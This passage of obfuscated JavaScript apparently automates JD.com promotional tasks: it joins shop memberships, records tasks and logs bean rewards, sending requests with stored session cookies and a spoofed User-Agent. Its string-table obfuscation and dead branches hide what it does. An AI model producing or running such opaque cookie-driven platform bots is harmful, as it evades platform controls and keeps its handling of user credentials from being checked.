_0x229164='';if($[_0x67b5('210')])_0x229164=_0x67b5('211')+$[_0x67b5('210')];return{'url':_0x67b5('212')+functionId+_0x67b5('213')+functionId+_0x67b5('214')+_0x229164+_0x67b5('215'),'headers':{'Content-Type':_0xdb6c4f[_0x67b5('216')],'Origin':_0xdb6c4f[_0x67b5('217')],'Host':_0xdb6c4f[_0x67b5('218')],'accept':_0xdb6c4f[_0x67b5('219')],'User-Agent':$['UA'],'content-type':_0xdb6c4f[_0x67b5('21a')],'Referer':_0x67b5('1ab')+functionId+_0x67b5('1ac')+functionId+_0x67b5('1ad')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'Cookie':cookie}};}});});}function getInitInfo(){var _0x1ad61b={'mJFVP':function(_0x5e70c2){return _0x5e70c2();},'QYafW':function(_0x5c73e9,_0x35f28a){return _0x5c73e9==_0x35f28a;},'siDyQ':function(_0x1dea85,_0x5749cd){return _0x1dea85||_0x5749cd;},'bIbTa':_0x67b5('1c6'),'kShfw':_0x67b5('113'),'KVYze':function(_0x52cd7c,_0x59ece1){return _0x52cd7c===_0x59ece1;},'INMSN':_0x67b5('21b'),'sgVEK':_0x67b5('21c'),'qXBjA':function(_0x2ac5ea,_0x50009d){return _0x2ac5ea==_0x50009d;},'EpmYK':_0x67b5('52'),'UFANg':_0x67b5('21d'),'uJeVg':_0x67b5('21e'),'PTcKJ':_0x67b5('21f'),'owcHx':_0x67b5('220'),'PIGEF':function(_0x383930,_0x3b437e){return _0x383930!==_0x3b437e;},'czynQ':_0x67b5('221'),'IlZCV':function(_0x1e8234,_0x1863ff){return _0x1e8234!==_0x1863ff;},'crcMn':_0x67b5('222'),'qQAWD':function(_0x472472,_0x5a4108){return _0x472472(_0x5a4108);},'sRphy':function(_0x4c5172,_0x377079,_0x65faad){return _0x4c5172(_0x377079,_0x65faad);}};return new Promise(_0x59ce67=>{var _0x131812={'odYSw':function(_0x10968a){return _0x1ad61b[_0x67b5('223')](_0x10968a);},'LraOy':function(_0xbe327,_0x3fb9bf){return _0x1ad61b[_0x67b5('224')](_0xbe327,_0x3fb9bf);},'Dfbgj':function(_0x496704,_0x25f223){return _0x1ad61b[_0x67b5('225')](_0x496704,_0x25f223);},'TWstw':_0x1ad61b[_0x67b5('226')],'mQTCn':function(_0x46326b,_0x4741bb){return _0x1ad61b[_0x67b5('224')](_0x46326b,_0x4741bb);},'VMMUO':_0x1ad61b[_0x67b5('227')],'Buhle':function(_0x392eb7,_0x3ecd93){return _0x1ad61b[_0x67b5('228')](_0x392eb7,_0x3ecd93);},'qsNAQ':_0x1ad61b[_0x67b5('229')],'wcuql':_0x1ad61b[_0x67b5('22a')],'rAjfz':function(_0x18f767,_0x3d0da9){return _0x1ad61b[_0x67b5('22b')](_0x18f767,_0x3d0da9);},'ZRNoo':_0x1ad61b[_0x67b5('22c')],'DeZDe':_0x1ad61b[_0x67b5('22d')],'tVFiq':function(_0x4b89c2,_0xcfb8cd){return _0x1ad61b[_0x67b5('228')](_0x4b89c2,_0xcfb8cd);},'lHorf':_0x1ad61b[_0x67b5('22e')],'hRoFM':_0x1ad61b[_0x67b5('22f')],'GJfvv':function(_0x7e02e0,_0x5b62a6){return _0x1ad61b[_0x67b5('228')](_0x7e02e0,_0x5b62a6);},'fxhkL':_0x1ad61b[_0x67b5('230')],'egLoP':function(_0x458d71,_0x39168c){return _0x1ad61b[_0x67b5('231')](_0x458d71,_0x39168c);},'Zvynx':_0x1ad61b[_0x67b5('232')],'taBdy':function(_0x509aeb,_0xec90d8){return _0x1ad61b[_0x67b5('233')](_0x509aeb,_0xec90d8);},'JvMfk':_0x1ad61b[_0x67b5('234')]};let _0x41b990=_0x67b5('235')+$[_0x67b5('2a')]+_0x67b5('236')+$[_0x67b5('2c')]+_0x67b5('13e')+_0x1ad61b[_0x67b5('237')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('193')+$[_0x67b5('2a')];$[_0x67b5('140')](_0x1ad61b[_0x67b5('238')](taskPostUrl,_0x67b5('239'),_0x41b990),async(_0x11dfc6,_0x52ad5d,_0xa56be3)=>{var _0x206a0b={'qWctC':function(_0x46d9b0,_0x9cf8e2){return _0x131812[_0x67b5('23a')](_0x46d9b0,_0x9cf8e2);},'nzDyV':function(_0x370e98,_0x90451c){return _0x131812[_0x67b5('23b')](_0x370e98,_0x90451c);},'zvbIs':_0x131812[_0x67b5('23c')]};try{if(_0x11dfc6){if(_0x52ad5d[_0x67b5('152')]&&_0x131812[_0x67b5('23d')](_0x52ad5d[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x131812[_0x67b5('23e')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x11dfc6));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{if(_0x131812[_0x67b5('23f')](_0x131812[_0x67b5('240')],_0x131812[_0x67b5('241')])){setcookie=setcookies[_0x67b5('df')](',');}else{let _0x802343=$[_0x67b5('f8')](_0xa56be3);if(_0x131812[_0x67b5('242')](typeof _0x802343,_0x131812[_0x67b5('243')])){if(_0x131812[_0x67b5('23f')](_0x802343[_0x67b5('d4')],!![])&&_0x802343[_0x67b5('36')]){var _0x3af8ea=_0x131812[_0x67b5('244')][_0x67b5('df')]('|'),_0x105a85=0x0;while(!![]){switch(_0x3af8ea[_0x105a85++]){case'0':$[_0x67b5('bc')]=_0x802343[_0x67b5('36')][_0x67b5('bc')];continue;case'1':$[_0x67b5('245')]=_0x802343[_0x67b5('36')][_0x67b5('245')];continue;case'2':$[_0x67b5('cc')]=_0x802343[_0x67b5('36')][_0x67b5('cc')];continue;case'3':$[_0x67b5('b7')]=_0x802343[_0x67b5('36')][_0x67b5('b7')];continue;case'4':$[_0x67b5('c1')]=_0x802343[_0x67b5('36')][_0x67b5('c1')];continue;}break;}}else if(_0x131812[_0x67b5('242')](typeof _0x802343,_0x131812[_0x67b5('243')])&&_0x802343[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('246')+(_0x802343[_0x67b5('7e')]||''));}else{if(_0x131812[_0x67b5('247')](_0x131812[_0x67b5('248')],_0x131812[_0x67b5('249')])){_0x131812[_0x67b5('24a')](_0x59ce67);}else{console[_0x67b5('7')](_0xa56be3);}}}else{if(_0x131812[_0x67b5('24b')](_0x131812[_0x67b5('24c')],_0x131812[_0x67b5('24c')])){console[_0x67b5('7')](_0xa56be3);}else{$[_0x67b5('2a')]=$[_0x67b5('43')];console[_0x67b5('7')](_0x67b5('108')+$[_0x67b5('2a')]);}}}}}catch(_0x552268){if(_0x131812[_0x67b5('24d')](_0x131812[_0x67b5('24e')],_0x131812[_0x67b5('24e')])){console[_0x67b5('7')](''+(res[_0x67b5('1fc')]||''));}else{$[_0x67b5('4a')](_0x552268,_0x52ad5d);}}finally{if(_0x131812[_0x67b5('24f')](_0x131812[_0x67b5('250')],_0x131812[_0x67b5('250')])){let _0x59e80a=res[_0x67b5('36')][_0x67b5('1fd')]&&_0x206a0b[_0x67b5('251')](res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('1fe')],0x6)&&res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('22')]||'';console[_0x67b5('7')](_0x67b5('1ff')+_0x206a0b[_0x67b5('252')](_0x59e80a,_0x206a0b[_0x67b5('253')]));if(!_0x59e80a)console[_0x67b5('7')](_0xa56be3);}else{_0x131812[_0x67b5('24a')](_0x59ce67);}}});});}function getproduct(){var _0x4e6cb6={'kkJPe':function(_0x202019,_0x1a0b8b){return _0x202019!=_0x1a0b8b;},'lMqPr':_0x67b5('53'),'AbtFp':function(_0xbeef42,_0x2c1f4b){return _0xbeef42!=_0x2c1f4b;},'LLsUI':function(_0x18a652,_0x4d832b){return _0x18a652!==_0x4d832b;},'EjYkF':_0x67b5('254'),'Hqliy':_0x67b5('255'),'xDIzh':function(_0x5df163,_0xa3d136){return _0x5df163==_0xa3d136;},'twmxV':function(_0x36fb64,_0xa6ed6b){return _0x36fb64===_0xa6ed6b;},'JQMms':_0x67b5('256'),'HaDQA':_0x67b5('257'),'suNDD':_0x67b5('113'),'xHOdO':_0x67b5('52'),'NLHQH':function(_0x22df84,_0x25ed34){return _0x22df84===_0x25ed34;},'jrMWz':_0x67b5('258'),'WFqyo':_0x67b5('259'),'SUEAr':_0x67b5('25a'),'zZBms':_0x67b5('25b'),'Bycyg':_0x67b5('25c'),'uUnPq':function(_0x18cd8c){return _0x18cd8c();},'HKXjT':_0x67b5('25d'),'uMABt':_0x67b5('25e'),'gqCeu':function(_0x1fdb2c,_0x32e7e4){return _0x1fdb2c(_0x32e7e4);},'BWCfz':function(_0x298716,_0x2049ac,_0xa05f77){return _0x298716(_0x2049ac,_0xa05f77);}};return new Promise(_0x51d91a=>{var _0x4ee3e8={'iHurn':function(_0x37ea77,_0x3cd20b){return _0x4e6cb6[_0x67b5('25f')](_0x37ea77,_0x3cd20b);},'lXlCw':_0x4e6cb6[_0x67b5('260')],'AjaQp':function(_0x2391a6,_0xca7009){return _0x4e6cb6[_0x67b5('261')](_0x2391a6,_0xca7009);},'sltdu':function(_0x21f2f6,_0x4c3dcb){return _0x4e6cb6[_0x67b5('261')](_0x21f2f6,_0x4c3dcb);},'Uqwyq':function(_0x3f7bb4,_0x4b712c){return _0x4e6cb6[_0x67b5('262')](_0x3f7bb4,_0x4b712c);},'fpUPz':_0x4e6cb6[_0x67b5('263')],'TtZSZ':_0x4e6cb6[_0x67b5('264')],'RvKeG':function(_0x526f9b,_0x3724b9){return _0x4e6cb6[_0x67b5('265')](_0x526f9b,_0x3724b9);},'QDsMP':function(_0x86a1be,_0x5ee1a5){return _0x4e6cb6[_0x67b5('266')](_0x86a1be,_0x5ee1a5);},'dJrfj':_0x4e6cb6[_0x67b5('267')],'yudfk':_0x4e6cb6[_0x67b5('268')],'kdtwE':_0x4e6cb6[_0x67b5('269')],'XklQX':_0x4e6cb6[_0x67b5('26a')],'lfkTm':function(_0x8b8521,_0x502715){return _0x4e6cb6[_0x67b5('26b')](_0x8b8521,_0x502715);},'VsKlP':_0x4e6cb6[_0x67b5('26c')],'MfFpX':_0x4e6cb6[_0x67b5('26d')],'mjVmz':_0x4e6cb6[_0x67b5('26e')],'lvBsv':_0x4e6cb6[_0x67b5('26f')],'fzPte':_0x4e6cb6[_0x67b5('270')],'lrSmS':function(_0x1e77b8){return _0x4e6cb6[_0x67b5('271')](_0x1e77b8);}};if(_0x4e6cb6[_0x67b5('262')](_0x4e6cb6[_0x67b5('272')],_0x4e6cb6[_0x67b5('273')])){let _0x2516f9=_0x67b5('274')+$[_0x67b5('2c')]+_0x67b5('13e')+_0x4e6cb6[_0x67b5('275')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('193')+$[_0x67b5('2a')];$[_0x67b5('140')](_0x4e6cb6[_0x67b5('276')](taskPostUrl,_0x67b5('277')+Date[_0x67b5('278')](),_0x2516f9),async(_0x13f223,_0x200464,_0x110976)=>{try{if(_0x4ee3e8[_0x67b5('279')](_0x4ee3e8[_0x67b5('27a')],_0x4ee3e8[_0x67b5('27b')])){if(_0x13f223){if(_0x200464[_0x67b5('152')]&&_0x4ee3e8[_0x67b5('27c')](_0x200464[_0x67b5('152')],0x1ed)){if(_0x4ee3e8[_0x67b5('27d')](_0x4ee3e8[_0x67b5('27e')],_0x4ee3e8[_0x67b5('27f')])){console[_0x67b5('7')](_0x110976);}else{console[_0x67b5('7')](_0x4ee3e8[_0x67b5('280')]);$[_0x67b5('15')]=!![];}}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x13f223));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{let _0x2c11af=$[_0x67b5('f8')](_0x110976);if(_0x4ee3e8[_0x67b5('27c')](typeof _0x2c11af,_0x4ee3e8[_0x67b5('281')])){if(_0x4ee3e8[_0x67b5('282')](_0x2c11af[_0x67b5('d4')],!![])&&_0x2c11af[_0x67b5('36')]){if(_0x4ee3e8[_0x67b5('282')](_0x4ee3e8[_0x67b5('283')],_0x4ee3e8[_0x67b5('284')])){cookiesArr[_0x67b5('3')](jdCookieNode[item]);}else{$[_0x67b5('285')]=_0x2c11af[_0x67b5('36')];}}else if(_0x4ee3e8[_0x67b5('27c')](typeof _0x2c11af,_0x4ee3e8[_0x67b5('281')])&&_0x2c11af[_0x67b5('7e')]){if(_0x4ee3e8[_0x67b5('279')](_0x4ee3e8[_0x67b5('286')],_0x4ee3e8[_0x67b5('287')])){console[_0x67b5('7')](title+'\x20'+(_0x2c11af[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x110976);}}else{console[_0x67b5('7')](_0x110976);}}else{if(_0x4ee3e8[_0x67b5('282')](_0x4ee3e8[_0x67b5('288')],_0x4ee3e8[_0x67b5('288')])){console[_0x67b5('7')](_0x110976);}else{if(_0x4ee3e8[_0x67b5('289')](typeof _0x2c11af[_0x67b5('36')][_0x67b5('89')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('89')]=_0x2c11af[_0x67b5('36')][_0x67b5('89')];if(_0x4ee3e8[_0x67b5('28b')](typeof _0x2c11af[_0x67b5('36')][_0x67b5('8b')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('8b')]=_0x2c11af[_0x67b5('36')][_0x67b5('8b')];}}}}else{if(_0x4ee3e8[_0x67b5('28c')](typeof res[_0x67b5('28d')],_0x4ee3e8[_0x67b5('28a')]))$[_0x67b5('76')]=res[_0x67b5('28d')];}}catch(_0x2732a5){$[_0x67b5('4a')](_0x2732a5,_0x200464);}finally{_0x4ee3e8[_0x67b5('28e')](_0x51d91a);}});}else{console[_0x67b5('7')](title+'\x20'+(res[_0x67b5('7e')]||''));}});}function saveTask(_0xf18d58,_0x4137ea,_0x322cc5){var _0x11bf8f={'zEYGV':function(_0x3fc55e,_0x43b8e0){return _0x3fc55e==_0x43b8e0;},'AhyDh':function(_0x3ac076,_0x53a026){return _0x3ac076===_0x53a026;},'QcKeM':_0x67b5('28f'),'aIgWY':_0x67b5('113'),'jdWYN':function(_0x508447,_0xe54dad){return _0x508447===_0xe54dad;},'eAqaK':_0x67b5('290'),'WdoPu':_0x67b5('52'),'JIiFP':_0x67b5('1c6'),'uRFSF':function(_0x1e5425,_0xdb7694){return _0x1e5425!==_0xdb7694;},'opzJd':_0x67b5('291'),'ssxut':_0x67b5('292'),'ctmLk':function(_0x546088,_0x24da5a){return _0x546088||_0x24da5a;},'wwPPe':_0x67b5('293'),'adjWZ':_0x67b5('294'),'xopng':function(_0xa67db4){return _0xa67db4();},'cRABo':function(_0x2a5933,_0x34e9f2){return _0x2a5933!=_0x34e9f2;},'CIzHt':function(_0x6be15e,_0x39b0a0){return _0x6be15e+_0x39b0a0;},'uKJdY':_0x67b5('18'),'VnDZK':_0x67b5('19'),'oEXYU':function(_0x36ece1,_0x134570){return _0x36ece1(_0x134570);},'JaMsx':function(_0x5cea62,_0x445722,_0x717bda){return _0x5cea62(_0x445722,_0x717bda);}};return new Promise(_0xd9a21b=>{var _0x36be43={'mVgDV':function(_0x5e854d,_0x251ad0){return _0x11bf8f[_0x67b5('295')](_0x5e854d,_0x251ad0);},'ccFQw':function(_0x5b99fb,_0x2c9cf2){return _0x11bf8f[_0x67b5('296')](_0x5b99fb,_0x2c9cf2);},'AKLOG':_0x11bf8f[_0x67b5('297')],'kZTzX':_0x11bf8f[_0x67b5('298')]};let _0x45ae5d=_0x67b5('13c')+$[_0x67b5('2c')]+_0x67b5('13d')+$[_0x67b5('43')]+_0x67b5('13e')+_0x11bf8f[_0x67b5('299')](encodeURIComponent,$[_0x67b5('77')])+_0x67b5('2f')+$[_0x67b5('2a')]+_0x67b5('29a')+_0x4137ea+_0x67b5('29b')+_0x322cc5;$[_0x67b5('140')](_0x11bf8f[_0x67b5('29c')](taskPostUrl,_0x67b5('29d'),_0x45ae5d),async(_0x4fb47e,_0x64be0a,_0x9cb0b4)=>{try{if(_0x4fb47e){if(_0x64be0a[_0x67b5('152')]&&_0x11bf8f[_0x67b5('29e')](_0x64be0a[_0x67b5('152')],0x1ed)){if(_0x11bf8f[_0x67b5('29f')](_0x11bf8f[_0x67b5('2a0')],_0x11bf8f[_0x67b5('2a0')])){console[_0x67b5('7')](_0x11bf8f[_0x67b5('2a1')]);$[_0x67b5('15')]=!![];}else{console[_0x67b5('7')](_0x9cb0b4);}}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x4fb47e));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}else{if(_0x11bf8f[_0x67b5('2a2')](_0x11bf8f[_0x67b5('2a3')],_0x11bf8f[_0x67b5('2a3')])){let _0x25a912=$[_0x67b5('f8')](_0x9cb0b4);if(_0x11bf8f[_0x67b5('29e')](typeof _0x25a912,_0x11bf8f[_0x67b5('2a4')])){if(_0x11bf8f[_0x67b5('2a2')](_0x25a912[_0x67b5('d4')],!![])&&_0x25a912[_0x67b5('36')]){let _0x327444='';if(_0x25a912[_0x67b5('36')][_0x67b5('2a5')]){_0x327444='\x20'+_0x25a912[_0x67b5('36')][_0x67b5('2a5')]+'京豆';}_0x327444=_0x11bf8f[_0x67b5('29e')](_0x327444,'')?_0x11bf8f[_0x67b5('2a6')]:_0x327444;if(_0x25a912[_0x67b5('36')][_0x67b5('45')]){_0x327444+=_0x67b5('44')+_0x25a912[_0x67b5('36')][_0x67b5('45')]+_0x67b5('46');}if(_0x25a912[_0x67b5('36')][_0x67b5('ed')]){if(_0x11bf8f[_0x67b5('2a7')](_0x11bf8f[_0x67b5('2a8')],_0x11bf8f[_0x67b5('2a9')])){_0x327444+='\x20'+_0x25a912[_0x67b5('36')][_0x67b5('ed')]+_0x67b5('2aa');}else{$[_0x67b5('4a')](e,_0x64be0a);}}console[_0x67b5('7')](_0xf18d58+_0x67b5('2ab')+_0x11bf8f[_0x67b5('2ac')](_0x327444,_0x11bf8f[_0x67b5('2a6')]));}else if(_0x11bf8f[_0x67b5('29e')](typeof _0x25a912,_0x11bf8f[_0x67b5('2a4')])&&_0x25a912[_0x67b5('7e')]){console[_0x67b5('7')](_0xf18d58+'\x20'+(_0x25a912[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x9cb0b4);}}else{console[_0x67b5('7')](_0x9cb0b4);}}else{if(_0x36be43[_0x67b5('2ad')](_0x36be43[_0x67b5('2ae')](guaopencard,''),_0x36be43[_0x67b5('2af')])){console[_0x67b5('7')](_0x36be43[_0x67b5('2b0')]);}if(_0x36be43[_0x67b5('2ad')](_0x36be43[_0x67b5('2ae')](guaopencard,''),_0x36be43[_0x67b5('2af')])){return;}}}}catch(_0x369095){if(_0x11bf8f[_0x67b5('2a7')](_0x11bf8f[_0x67b5('2b1')],_0x11bf8f[_0x67b5('2b2')])){$[_0x67b5('4a')](_0x369095,_0x64be0a);}else{$[_0x67b5('4a')](_0x369095,_0x64be0a);}}finally{_0x11bf8f[_0x67b5('2b3')](_0xd9a21b);}});});}function getshopactivityId(_0xa938df){var _0x512d49={'DyPBr':function(_0x2bb9af,_0x520045){return _0x2bb9af===_0x520045;},'dPVYv':function(_0x1138ec,_0x1aacb5){return _0x1138ec==_0x1aacb5;},'NXFjo':function(_0x32a5ee,_0x4aa31d){return _0x32a5ee||_0x4aa31d;},'fwdvG':_0x67b5('1c6'),'GGmDL':_0x67b5('52'),'fzHIl':_0x67b5('113'),'Xotmf':function(_0x358e3a,_0x444f00){return _0x358e3a==_0x444f00;},'GeXTE':_0x67b5('2b4'),'eCFRE':function(_0x5c8978,_0x3ed784){return _0x5c8978!==_0x3ed784;},'vbrYq':_0x67b5('2b5'),'ZRWUb':_0x67b5('2b6'),'OasaU':function(_0x1b1a8f){return _0x1b1a8f();},'wbPoc':function(_0x34172a,_0x173530){return _0x34172a(_0x173530);}};return new Promise(_0x2a3e80=>{var _0x1c99af={'AStWm':function(_0x285ca6,_0x57683a){return _0x512d49[_0x67b5('2b7')](_0x285ca6,_0x57683a);},'DVJmY':function(_0x593143,_0x4cbf4d){return _0x512d49[_0x67b5('2b8')](_0x593143,_0x4cbf4d);},'fSUZN':function(_0x4174f7,_0x2daa6c){return _0x512d49[_0x67b5('2b9')](_0x4174f7,_0x2daa6c);},'UbGjX':_0x512d49[_0x67b5('2ba')],'ZbPnQ':_0x512d49[_0x67b5('2bb')],'IYzuV':_0x512d49[_0x67b5('2bc')],'aPmtF':function(_0x122bd,_0x392f74){return _0x512d49[_0x67b5('2bd')](_0x122bd,_0x392f74);},'UAEUK':_0x512d49[_0x67b5('2be')],'RMTxW':function(_0x3fdd23,_0x448d9b){return _0x512d49[_0x67b5('2bf')](_0x3fdd23,_0x448d9b);},'KfmQc':_0x512d49[_0x67b5('2c0')],'XMNzA':_0x512d49[_0x67b5('2c1')],'QkCQZ':function(_0x293d21){return _0x512d49[_0x67b5('2c2')](_0x293d21);}};$[_0x67b5('2c3')](_0x512d49[_0x67b5('2c4')](shopactivityId,''+_0xa938df),async(_0x303b49,_0x162ae3,_0x3801dc)=>{var _0x13633b={'OqbFT':function(_0x5f2b65,_0x19fb12){return _0x1c99af[_0x67b5('2c5')](_0x5f2b65,_0x19fb12);},'YfGlG':_0x1c99af[_0x67b5('2c6')]};try{_0x3801dc=JSON[_0x67b5('c5')](_0x3801dc);if(_0x1c99af[_0x67b5('2c7')](_0x3801dc[_0x67b5('2c8')],!![])){console[_0x67b5('7')](_0x67b5('2c9')+(_0x3801dc[_0x67b5('d4')][_0x67b5('2ca')][_0x67b5('2cb')]||''));$[_0x67b5('210')]=_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')]&&_0x3801dc[_0x67b5('d4')][_0x67b5('2cc')][0x0][_0x67b5('2cd')][_0x67b5('2c')]||'';}}catch(_0x59a930){if(_0x1c99af[_0x67b5('2ce')](_0x1c99af[_0x67b5('2cf')],_0x1c99af[_0x67b5('2cf')])){$[_0x67b5('4a')](_0x59a930,_0x162ae3);}else{if(_0x1c99af[_0x67b5('2ce')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){let _0x2a926f=res[_0x67b5('36')][_0x67b5('1fd')]&&_0x1c99af[_0x67b5('2c5')](res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('1fe')],0x6)&&res[_0x67b5('36')][_0x67b5('1fd')][_0x67b5('22')]||'';console[_0x67b5('7')](_0x67b5('1ff')+_0x1c99af[_0x67b5('2d0')](_0x2a926f,_0x1c99af[_0x67b5('2d1')]));if(!_0x2a926f)console[_0x67b5('7')](_0x3801dc);}else if(_0x1c99af[_0x67b5('2c5')](typeof res,_0x1c99af[_0x67b5('2d2')])&&res[_0x67b5('7e')]){console[_0x67b5('7')](_0x67b5('1bc')+(res[_0x67b5('7e')]||''));}else{console[_0x67b5('7')](_0x3801dc);}}}finally{if(_0x1c99af[_0x67b5('2d3')](_0x1c99af[_0x67b5('2d4')],_0x1c99af[_0x67b5('2d5')])){_0x1c99af[_0x67b5('2d6')](_0x2a3e80);}else{if(_0x162ae3[_0x67b5('152')]&&_0x13633b[_0x67b5('2d7')](_0x162ae3[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x13633b[_0x67b5('2d8')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+$[_0x67b5('153')](_0x303b49));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('154'));}}});});}function shopactivityId(_0x51e26c){var _0x58d1de={'eyxoq':_0x67b5('175'),'Lqbdz':_0x67b5('176'),'BUWpc':_0x67b5('177'),'Lnmvf':_0x67b5('178'),'dOwTq':_0x67b5('179')};return{'url':_0x67b5('1a4')+_0x51e26c+_0x67b5('1a5'),'headers':{'Content-Type':_0x58d1de[_0x67b5('2d9')],'Origin':_0x58d1de[_0x67b5('2da')],'Host':_0x58d1de[_0x67b5('2db')],'accept':_0x58d1de[_0x67b5('2dc')],'User-Agent':$['UA'],'content-type':_0x58d1de[_0x67b5('2dd')],'Referer':_0x67b5('1ab')+_0x51e26c+_0x67b5('1ac')+_0x51e26c+_0x67b5('1ad')+$[_0x67b5('2c')]+_0x67b5('2f')+$[_0x67b5('2a')],'Cookie':cookie}};}function join(_0x42ae69){var _0x3496e5={'KLfgs':function(_0x245921,_0x32eca2){return _0x245921==_0x32eca2;},'ddizR':_0x67b5('113'),'uxaqk':function(_0x318071,_0x159aec){return _0x318071!==_0x159aec;},'DKuKQ':_0x67b5('2de'),'FpEBJ':_0x67b5('2df'),'ysHWM':_0x67b5('2e0'),'tlkQp':_0x67b5('52'),'ifSYF':function(_0x36b0ef,_0x42ed80){return _0x36b0ef===_0x42ed80;},'PnPvY':_0x67b5('2e1'),'WKAUd':_0x67b5('2e2'),'aIFWN':function(_0x27794c){return _0x27794c();},'kSzqP':function(_0x1e2752,_0x47ba29){return _0x1e2752===_0x47ba29;},'LBgvo':_0x67b5('2e3'),'jALXE':function(_0x2dda87,_0xc8126f){return _0x2dda87==_0xc8126f;},'JwiJF':function(_0x2c4d24,_0x7591e1){return _0x2c4d24!==_0x7591e1;},'mrReA':_0x67b5('2e4'),'KslCm':_0x67b5('2e5'),'KPuZY':function(_0xfa6cbb,_0x51f142){return _0xfa6cbb(_0x51f142);}};return new Promise(async _0x5eb3e8=>{var _0x41b4db={'SQifa':function(_0x3d3305,_0xee5df0){return _0x3496e5[_0x67b5('2e6')](_0x3d3305,_0xee5df0);},'knmXc':_0x3496e5[_0x67b5('2e7')],'qepsX':function(_0x435917,_0x31a763){return _0x3496e5[_0x67b5('2e8')](_0x435917,_0x31a763);},'DWwbu':_0x3496e5[_0x67b5('2e9')],'EboUw':function(_0x510bdb,_0x55fe7d){return _0x3496e5[_0x67b5('2e8')](_0x510bdb,_0x55fe7d);},'mgkuV':_0x3496e5[_0x67b5('2ea')],'ZuFSo':_0x3496e5[_0x67b5('2eb')],'IithD':function(_0xd97c59,_0x2144db){return _0x3496e5[_0x67b5('2e6')](_0xd97c59,_0x2144db);},'PYViz':_0x3496e5[_0x67b5('2ec')],'BFhEo':function(_0x59b20a,_0x160bce){return _0x3496e5[_0x67b5('2ed')](_0x59b20a,_0x160bce);},'RkfnT':_0x3496e5[_0x67b5('2ee')],'mgYhS':_0x3496e5[_0x67b5('2ef')],'BuuVy':function(_0x1dba09){return _0x3496e5[_0x67b5('2f0')](_0x1dba09);},'FLcAE':function(_0x1e95fe,_0x36bf79){return _0x3496e5[_0x67b5('2f1')](_0x1e95fe,_0x36bf79);},'hkoZj':_0x3496e5[_0x67b5('2f2')],'uyHpW':function(_0x3922e9,_0xca20b1){return _0x3496e5[_0x67b5('2f3')](_0x3922e9,_0xca20b1);}};if(_0x3496e5[_0x67b5('2f4')](_0x3496e5[_0x67b5('2f5')],_0x3496e5[_0x67b5('2f6')])){$[_0x67b5('210')]='';await $[_0x67b5('9d')](0x3e8);await _0x3496e5[_0x67b5('2f7')](getshopactivityId,_0x42ae69);$[_0x67b5('2c3')](_0x3496e5[_0x67b5('2f7')](ruhui,''+_0x42ae69),async(_0x3990c4,_0x54e78b,_0xa06af8)=>{var _0x5694f0={'zalux':_0x41b4db[_0x67b5('2f8')]};if(_0x41b4db[_0x67b5('2f9')](_0x41b4db[_0x67b5('2fa')],_0x41b4db[_0x67b5('2fa')])){if(_0x54e78b[_0x67b5('152')]&&_0x41b4db[_0x67b5('2fb')](_0x54e78b[_0x67b5('152')],0x1ed)){console[_0x67b5('7')](_0x41b4db[_0x67b5('2f8')]);$[_0x67b5('15')]=!![];}console[_0x67b5('7')](''+JSON[_0x67b5('2fc')](_0x3990c4));console[_0x67b5('7')]($[_0x67b5('22')]+_0x67b5('2fd'));}else{try{if(_0x41b4db[_0x67b5('2fe')](_0x41b4db[_0x67b5('2ff')],_0x41b4db[_0x67b5('300')])){res=$[_0x67b5('f8')](_0xa06af8);if(_0x41b4db[_0x67b5('301')](typeof res,_0x41b4db[_0x67b5('302')])){if(_0x41b4db[_0x67b5('303')](res[_0x67b5('2c8')],!![])){console[_0x67b5('7')](res[_0x67b5('1fc')]);if(res[_0x67b5('d4')]&&res[_0x67b5('d4')][_0x67b5('d5')]){for(let _0x51bcda of res[_0x67b5('d4')][_0x67b5('d5')][_0x67b5('d6')]){console[_0x67b5('7')](_0x67b5('d7')+_0x51bcda[_0x67b5('d8')]+_0x51bcda[_0x67b5('d9')]+_0x51bcda[_0x67b5('da')]);}}}else if(_0x41b4db[_0x67b5('301')](typeof res,_0x41b4db[_0x67b5('302')])&&res[_0x67b5('1fc')]){if(_0x41b4db[_0x67b5('303')](_0x41b4db[_0x67b5('304')],_0x41b4db[_0x67b5('305')])){$[_0x67b5('285')]=res[_0x67b5('36')];}else{console[_0x67b5('7')](''+(res[_0x67b5('1fc')]||''));}}else{console[_0x67b5('7')](_0xa06af8);}}else{console[_0x67b5('7')](_0xa06af8);}}else{console[_0x67b5('7')](_0x5694f0[_0x67b5('306')]);$[_0x67b5('15')]=!![];}}catch(_0x4e2dbe){$[_0x67b5('4a')](_0x4e2dbe,_0x54e78b);}finally{_0x41b4db[_0x67b5('307')](_0x5eb3e8);}}});}else{if(_0x41b4db[_0x67b5('308')](res[_0x67b5('d4')],!![])&&res[_0x67b5('36')]){var 